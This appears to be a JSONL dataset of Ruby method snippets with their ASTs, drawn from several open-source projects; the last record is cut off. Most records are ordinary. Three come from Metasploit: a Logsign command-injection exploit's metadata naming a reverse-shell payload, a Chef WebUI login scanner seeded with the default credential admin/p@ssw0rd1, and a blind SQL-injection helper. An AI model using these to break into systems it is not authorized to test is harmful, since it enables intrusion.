{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/resource_controller.rb","start_line":16,"raw_source":"def show\n          render_serialized_payload { serialize_resource(resource) }\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_serialized_payload\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"serialize_resource\",{\"type\":\"send\",\"children\":[null,\"resource\"]}]}]}]}","id":"f196af34-420d-4ca1-8702-a7032d01f5ff"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/logsign_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Logsign Remote Command Injection',\n        'Description' => %q{\n          This module exploits a command injection vulnerability in Logsign.\n          By exploiting this vulnerability, unauthenticated users can execute\n          arbitrary code under the root user.\n\n          Logsign has a publicly accessible endpoint. That endpoint takes a user\n          input and then use it during operating system command execution without\n          proper validation.\n\n          This module was tested against 4.4.2 and 4.4.137 versions.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module\n        ],\n        'References' => [\n          ['CVE', '2024-5721'],\n          ['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']\n        ],\n        'Privileged' => true,\n        'Platform' => ['python'],\n        'Arch' => ARCH_PYTHON,\n        'DefaultOptions' => {\n          'payload' => 'python/meterpreter/reverse_tcp'\n        },\n        'Targets' => [ ['Automatic', {}] ],\n        'DisclosureDate' => '2017-02-26',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Logsign Remote Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a command injection vulnerability in Logsign.\\n\"]},{\"type\":\"str\",\"children\":[\"          By exploiting this vulnerability, unauthenticated users can execute\\n\"]},{\"type\":\"str\",\"children\":[\"          arbitrary code under the root user.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Logsign has a publicly accessible endpoint. That endpoint takes a user\\n\"]},{\"type\":\"str\",\"children\":[\"          input and then use it during operating system command execution without\\n\"]},{\"type\":\"str\",\"children\":[\"          proper validation.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module was tested against 4.4.2 and 4.4.137 versions.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Mehmet Ince <mehmet@mehmetince.net>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-5721\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"python\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PYTHON\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"payload\"]},{\"type\":\"str\",\"children\":[\"python/meterpreter/reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2017-02-26\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"8fb9d1c9-2b29-49f2-8398-28d62a264e99"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/endpoints/vllm.rb","start_line":32,"raw_source":"def model_uri\n          if llm_model.url.to_s.starts_with?(\"srv://\")\n            service = DiscourseAi::Utils::DnsSrv.lookup(llm_model.url.sub(\"srv://\", \"\"))\n            api_endpoint = \"https://#{service.target}:#{service.port}/v1/chat/completions\"\n          else\n            api_endpoint = llm_model.url\n          end\n\n          @uri ||= URI(api_endpoint)\n        end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"model_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_model\"]},\"url\"]},\"to_s\"]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"srv://\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Utils\"]},\"DnsSrv\"]},\"lookup\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_model\"]},\"url\"]},\"sub\",{\"type\":\"str\",\"children\":[\"srv://\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"api_endpoint\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"target\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"port\"]}]},{\"type\":\"str\",\"children\":[\"/v1/chat/completions\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"api_endpoint\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_model\"]},\"url\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@uri\"]},{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"lvar\",\"children\":[\"api_endpoint\"]}]}]}]}]}","id":"403c98eb-0dd0-4e4e-bfed-e773c372ad7d"}
{"repo_name":"aasm","file_path":"./repos/aasm/lib/aasm/core/transition.rb","start_line":52,"raw_source":"def ==(obj)\n      @from == obj.from && @to == obj.to\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@from\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"from\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@to\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"to\"]}]}]}]}","id":"6ba3539a-2784-40aa-87a5-354a68971e1b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/chef_webui_login.rb","start_line":129,"raw_source":"def init_loginscanner(ip)\n    @cred_collection = build_credential_collection(\n      username: datastore['USERNAME'],\n      password: datastore['PASSWORD']\n    )\n\n    # Always try the default first\n    @cred_collection.prepend_cred(\n      Metasploit::Framework::Credential.new(public: 'admin', private: 'p@ssw0rd1')\n    )\n\n    @scanner = Metasploit::Framework::LoginScanner::ChefWebUI.new(\n      configure_http_login_scanner(\n        uri: datastore['TARGETURI'],\n        cred_details: @cred_collection,\n        stop_on_success: datastore['STOP_ON_SUCCESS'],\n        bruteforce_speed: datastore['BRUTEFORCE_SPEED'],\n        connection_timeout: 5,\n        http_username: datastore['HttpUsername'],\n        http_password: datastore['HttpPassword']\n      )\n    )\n  end","complexity_score":27.95,"ast_json":"{\"type\":\"def\",\"children\":[\"init_loginscanner\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cred_collection\",{\"type\":\"send\",\"children\":[null,\"build_credential_collection\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cred_collection\"]},\"prepend_cred\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Credential\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"str\",\"children\":[\"p@ssw0rd1\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@scanner\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"LoginScanner\"]},\"ChefWebUI\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"configure_http_login_scanner\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cred_details\"]},{\"type\":\"ivar\",\"children\":[\"@cred_collection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stop_on_success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STOP_ON_SUCCESS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bruteforce_speed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BRUTEFORCE_SPEED\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_timeout\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]}]}]}]}]}]}]}]}]}","id":"fdd95062-7e97-49ad-a4d9-c24ac787e08f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/sidekiq_middleware/concurrency_limit/server_spec.rb","start_line":16,"raw_source":"def perform(*)\n        self.class.work\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"work\"]}]}","id":"adf261cd-a4ef-49b3-8646-13906eea8453"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/mentionable.rb","start_line":205,"raw_source":"def cross_reference_exists?(target)\n    SystemNoteService.cross_reference_exists?(target, local_reference)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cross_reference_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemNoteService\"]},\"cross_reference_exists?\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"send\",\"children\":[null,\"local_reference\"]}]}]}","id":"aece7767-0e0f-4fa7-9631-d82a845b0162"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/sqli/sqlitei/time_based_blind.rb","start_line":15,"raw_source":"def initialize(datastore, framework, user_output, opts = {}, &query_proc)\n    super\n    if opts[:heavyquery_parameter]\n      @heavyquery_parameter = opts[:heavyquery_parameter]\n    else\n      detect_heavyquery_parameter\n    end\n    vprint_status \"randomblob parameter: #{@heavyquery_parameter}\"\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"datastore\"]},{\"type\":\"arg\",\"children\":[\"framework\"]},{\"type\":\"arg\",\"children\":[\"user_output\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"query_proc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"heavyquery_parameter\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@heavyquery_parameter\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"heavyquery_parameter\"]}]}]},{\"type\":\"send\",\"children\":[null,\"detect_heavyquery_parameter\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"randomblob parameter: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@heavyquery_parameter\"]}]}]}]}]}]}","id":"12d41444-7db6-4c83-b609-ca51fd18f615"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/captain/tools/copilot/get_article_service.rb","start_line":23,"raw_source":"def execute(arguments)\n    article_id = arguments['article_id']\n\n    Rails.logger.info { \"#{self.class.name}: Article ID: #{article_id}\" }\n\n    return 'Missing required parameters' if article_id.blank?\n\n    article = Article.find_by(id: article_id, account_id: @assistant.account_id)\n    return 'Article not found' if article.nil?\n\n    article.to_llm_text\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arguments\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"article_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},\"[]\",{\"type\":\"str\",\"children\":[\"article_id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\": Article ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article_id\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Missing required parameters\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"article\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"article_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@assistant\"]},\"account_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Article not found\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"to_llm_text\"]}]}]}","id":"c8718b24-975e-4344-a74a-f676674e396e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":394,"raw_source":"def make_retire_request(requester_id)\n    self.class.make_retire_request(id, User.find(requester_id))\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"make_retire_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"requester_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"make_retire_request\",{\"type\":\"send\",\"children\":[null,\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"requester_id\"]}]}]}]}","id":"6d4a0aeb-991e-4f05-94db-71de1f70c87a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/snippets_actions.rb","start_line":82,"raw_source":"def blobs\n    @blobs ||= if snippet.empty_repo?\n                 [snippet.blob]\n               else\n                 snippet.blobs\n               end\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"blobs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@blobs\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet\"]},\"empty_repo?\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet\"]},\"blob\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet\"]},\"blobs\"]}]}]}]}","id":"7d0da005-ce90-4cf9-a747-f8126c7de91c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":77,"raw_source":"def test_to_json\n    assert_nothing_raised  { Bird.all.to_json }\n    assert_nothing_raised  { Bird.all.to_a.to_json }\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_to_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bird\"]},\"all\"]},\"to_json\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bird\"]},\"all\"]},\"to_a\"]},\"to_json\"]}]}]}]}","id":"9233465e-d295-4492-a6cc-5234e950ed99"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/analytics_service.rb","start_line":75,"raw_source":"def load_data\n    @article_data = Article.published.from_subforem.where(\"#{user_or_org.class.name.downcase}_id\" => user_or_org.id)\n    if @article_id\n      @article_data = @article_data.where(id: @article_id)\n\n      # check article_id is published and belongs to the user/org\n      raise ArgumentError, I18n.t(\"services.analytics_service.no_stats\") unless @article_data.exists?\n\n      article_ids = [@article_id]\n    else\n      article_ids = @article_data.ids\n    end\n\n    # prepare relations for metrics\n    @comment_data = Comment\n      .where(commentable_id: article_ids, commentable_type: \"Article\")\n      .where(\"score > 0\")\n    @follow_data = Follow\n      .where(followable_type: user_or_org.class.name, followable_id: user_or_org.id)\n    @reaction_data = Reaction.for_analytics\n      .where(reactable_id: article_ids, reactable_type: \"Article\")\n    @page_view_data = PageView.where(article_id: article_ids)\n\n    # filter data by date if needed\n    return unless start_date && end_date\n\n    @comment_data = @comment_data.where(created_at: @start_date..@end_date)\n    @reaction_data = @reaction_data.where(created_at: @start_date..@end_date)\n    @page_view_data = @page_view_data.where(created_at: @start_date..@end_date)\n  end","complexity_score":52.6,"ast_json":"{\"type\":\"def\",\"children\":[\"load_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@article_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"published\"]},\"from_subforem\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_or_org\"]},\"class\"]},\"name\"]},\"downcase\"]}]},{\"type\":\"str\",\"children\":[\"_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_or_org\"]},\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article_id\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@article_data\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article_data\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"ivar\",\"children\":[\"@article_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article_data\"]},\"exists?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"services.analytics_service.no_stats\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"article_ids\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"article_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article_data\"]},\"ids\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@comment_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commentable_id\"]},{\"type\":\"lvar\",\"children\":[\"article_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commentable_type\"]},{\"type\":\"str\",\"children\":[\"Article\"]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"score > 0\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@follow_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Follow\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"followable_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_or_org\"]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"followable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_or_org\"]},\"id\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@reaction_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reaction\"]},\"for_analytics\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reactable_id\"]},{\"type\":\"lvar\",\"children\":[\"article_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reactable_type\"]},{\"type\":\"str\",\"children\":[\"Article\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@page_view_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PageView\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"article_id\"]},{\"type\":\"lvar\",\"children\":[\"article_ids\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start_date\"]},{\"type\":\"send\",\"children\":[null,\"end_date\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@comment_data\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@comment_data\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@start_date\"]},{\"type\":\"ivar\",\"children\":[\"@end_date\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@reaction_data\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@reaction_data\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@start_date\"]},{\"type\":\"ivar\",\"children\":[\"@end_date\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@page_view_data\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page_view_data\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"